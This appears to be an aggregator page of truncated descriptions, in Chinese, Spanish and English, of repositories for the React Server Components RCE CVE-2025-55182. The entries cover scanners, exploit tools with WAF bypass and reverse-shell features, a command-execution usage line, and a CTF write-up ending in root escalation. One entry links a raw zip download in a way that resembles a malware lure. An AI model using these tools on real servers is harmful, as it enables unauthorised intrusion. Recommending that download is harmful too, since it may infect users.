CVE-2025-55182

CVE-2025-55182 - React2Shell React Server Components 中的预认证远程代码执行漏洞。 CVE 摘要 一个预认证远程代码执行漏洞存在于 React Server Components 的 19.0.0、19.1.0、19.1.1 和 19.2.0 版本中，包括 react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack 包。存在漏洞的代码不安全地将 HTTP 请求中的负载反序列化到 Server Function 端点。 受影响版本 React...

next88

next88 - React Server Components RCE 扫描器 高性能 Go 实现，用于检测 React Server Components RCE 漏洞（CVE-2025-55182 和 CVE-2025-66478）。 特性 🚀 高性能 ：编译后的 Go 二进制文件，基于 goroutine 的并发处理 🔍 多种检测方法 ： 安全侧信道检测 RCE PoC 检查 WAF 绕过技术（垃圾数据、双重编码、分号绕过） Vercel 特定 WAF 绕过 通过 ACTIONID 提取的源代码暴露检测 🎯 灵活扫描 ：单个主机、主机列表或自定义路径 📊 JSON 输出...

CVE-2025-55182

RSC Detector - React Server Components 漏洞扫描器 一个基于 Python 的安全扫描器，用于检测和利用 Next.js 应用中的 React Server Components RSC 漏洞。该工具支持被动检测、主动指纹识别和 RCE 漏洞利用测试。 ⚠️ 警告 ：本工具仅用于授权的安全测试 。未经授权访问计算机系统是非法的。在进行测试前，请务必获得书面许可。 功能特性 ✅ 被动检测 - 分析 HTML、响应头和页面结构中的 RSC 指标 ✅ 主动指纹识别 - 发送 RSC 特定头部以检测服务器响应 ✅ HTTP 头部分析 - 识别...

CVE-2025-55182-realistic-poc

CVE-2025-55182: Ejecución remota de código en React Server Components Una prueba de concepto mínima que demuestra la vulnerabilidad crítica de ejecución remota de código en [email protected]. ¿Qué es CVE-2025-55182? Una vulnerabilidad de RCE sin autenticación previa en React Server Component...

CVE-2025-55182-POC

CVE-2025-55182 POC 与检测 React Server Components RSC 不安全反序列化漏洞利用与检测工具集合 漏洞信息 CVE-ID : CVE-2025-55182 影响版本 : React 19.x, Next.js 15.x/16.x（使用 App Router 时） 攻击向量 : RSC Flight 协议反序列化时通过原型污染实现 RCE 风险等级 : 严重（CVSS 10.0） 📦 组件 1. 漏洞环境 Docker docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rc...

POC-CVE-2025-55182

CVE-2025-55182 - React RSC RCE 针对 React Server Components Flight 协议反序列化漏洞的 PoC。 这是什么？ Next.js 14+ 和 React 19 使用私有协议（"Flight"）在客户端和服务器之间通信。问题在于：服务器不加验证地加载任何模块。于是我们可以让它执行 childprocess，boom，RCE。 用法 root@kitploit: python CVE-2025-55182.py -t -p --cmd "id" 受影响版本 Next.js 14.2.21 Next.js 15.1.2 React...

react2shell-evolved

React2Shell Scanner High Fidelity Detection for RSC/Next.js RCE Scanner para detección de vulnerabilidades de Remote Code Execution RCE en aplicaciones React Server Components y Next.js. Acerca de React2Shell Scanner es una herramienta especializada para identificar vulnerabilidades de ejecución...

CVE-2025-55182-Exploit-PoC-Scanner

CVE-2025-55182 - React Server Components RCE Exploit v2.0 A comprehensive security research tool for testing CVE-2025-55182 and CVE-2025-66478 vulnerabilities in React Server Components RSC and Next.js Server Actions. Vulnerability Overview...

Explosive-As-Hell-MCS-Qualifer-Web-500

CVE-2025-55182 — React Server Components RCE | CTF 解题报告 分类： Web 漏洞利用 | 难度： 中等 | 漏洞类型： 远程代码执行 → SUID 权限提升 TL;DR React Server Components 端点存在 CVE-2025-55182 漏洞（RCE）→ 枚举 SUID 二进制 → /usr/bin/perl 设置了 SUID 位 → 使用 Perl 的 POSIX setuid0 提升至 root → 读取 /root/flag.txt。 Flag：...

React2Shell

RSC Sentinel Una extensión de Firefox para detectar vulnerabilidades React2Shell CVE-2025-55182 y CVE-2025-66478 en aplicaciones web. 👁️ Descripción general RSC Sentinel es una extensión de navegador Firefox para investigadores y educadores de seguridad que desean observar los indicadores de React...

CVE-2025-55182-React2Shell

React2Shell React2Shell 是一个概念验证（PoC）漏洞利用，演示了在使用React服务端组件（RSC） 的现代Web框架中的一个严重远程代码执行（RCE）漏洞。 该PoC针对CVE-2025-55182，这是一个CVSS 10.0漏洞，允许未经认证的远程攻击者通过React服务端组件实现中的不安全反序列化执行任意系统命令。 🔍 漏洞概述 React2Shell 利用了一个缺陷，该缺陷存在于React服务端组件在重新水合 阶段处理不受信任输入的方式中。 指标| 详细 ---|--- 严重性| 严重（10.0 / 10.0） 向量|...

CVE-2025-55182

CVE-2025-55182 — React2Shell: 高级利用与硕士论文研究 -brightred 不可信数据反序列化 + React Server Components 中的原型污染 通过 Next.js Server Actions 实现未经认证的远程代码执行 受影响版本: React 19.0.0 - 19.2.0 · 补丁: React 19.0.1 / 19.1.2 / 19.2.1 2025年12月3日 高级利用演示 - RCE基本命令、交互式Shell以及针对易受攻击的Next.js应用的多种攻击向量 描述 该仓库包含我关于 CVE-2025-55182 的 硕士论文...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 轻松安全地运行命令 🚀 概述 CVE-2025-55182 是存在于 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 和 React Server Components 中的一个漏洞。该问题由于 React Server Actions 中数据处理不当，允许未经授权的用户在受影响的服务器上执行任意代码。我们的应用程序提供了一个交互式...

react2shell-CVE-2025-55182-poc

CVE-2025-55182 React2Shell PoC——带 WAF 绕过 一个针对 CVE-2025-55182 （又名 React2Shell）的简洁、可靠的 Python 概念验证（PoC）漏洞利用程序，该漏洞是 Next.js（App Router）及类似框架所使用的 React Server Components 中的一个严重远程代码执行漏洞。 该 PoC 包含动态 WAF 绕过填充 ，可规避那些限制对大型 multipart 请求体进行深度检测的常见 Web 应用防火墙（Cloudflare、AWS WAF 等）。 漏洞概述 CVE ：CVE-2025-55182 CV...

flight-risk

flight-risk flight risk /flaɪt rɪsk/ — React的Flight协议是React服务器组件的序列化层。CVE-2025-55182利用Flight中的反序列化漏洞实现预认证远程代码执行（RCE）。如果你的应用使用了RSC，它就是一个 飞行风险 。 针对CVE-2025-55182（React2Shell） 的安全工具包——一个CVSS 10.0的预认证远程代码执行漏洞，影响React服务器组件。支持扫描、检测、关联和测试。 内容说明 工具| 功能 ---|--- react2shell-scanner|...

react2shell-scanner

🚨 React2Shell 扫描器 React 服务端组件中的 CVSS 10.0 RCE。你的 React 19 应用存在漏洞吗？ 用于检测 CVE-2025-55182（React2Shell）的快速、精准扫描器——这是一个已被在野利用的严重远程代码执行漏洞。凭借智能的服务端组件检测实现零误报。 🚨 关于 React2Shell（CVE-2025-55182） React2Shell 是 React 服务端组件中的一个最高严重级别（CVSS 10.0）漏洞，允许未经身份验证的远程代码执行。攻击者可通过向服务端函数端点发送特制的 HTTP 请求来利用此漏洞。 关键信息： 受影响：...

CVE-2025-55182

CVE-2025-55182 如果你在寻找真正的解释，msanft/CVE-2025-55182 有一个不错的解释（附带可用的PoC）。 这个仓库只包含我尝试的一些东西，产生了一些有趣的（？）结果。 ./thing.py 现在包含一个可用的PoC，大部分取自 https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3。 旧资料 模板： root@kitploit: !/usr/bin/env python3 import httpx c =...

React2P4IM0Nshell

React2P4IM0Nshell 💥用于Next.js和React Server Components RSC环境的扩展工具，用于高级审计和利用RCE/Source Leak/Dos CVE-2025-55182/83/84，直接从浏览器操作，扩展内嵌Linux终端以接收任何反弹shell ❌ ⚡ CMDCENTER: 核心 👁️ 被动识别 我静默分析DOM和HTTP头部。检测诸如window.nextf和text/x-component等签名，以在不触发WAF的情况下识别Next.js App Router架构。 🕵️‍♂️ 📡 主动探测（握手） 发送带有RSC:...

react2shell

React2Shell 一款用于利用React Server Components / Server Actions中原型污染漏洞（CVE-2025-55182 和 CVE-2025-66478）的CLI工具，可在易受攻击的服务器上实现远程代码执行（RCE）。 原始PoC：https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc 警告：此工具针对一个严重漏洞（CVSS 10.0），该漏洞正在被积极利用。 仅可在您拥有所有权或已获得明确授权的系统上使用。 法律免责声明...

react2shell-scanner

react2shell-scanner Un escáner de vulnerabilidades de línea de comandos de alta fidelidad para detectar CVE-2025-55182 y CVE-2025-66478 Ejecución Remota de Código en aplicaciones Next.js que utilizan React Server Components RSC. 🚨 Resumen de Vulnerabilidades Estas vulnerabilidades críticas afecta...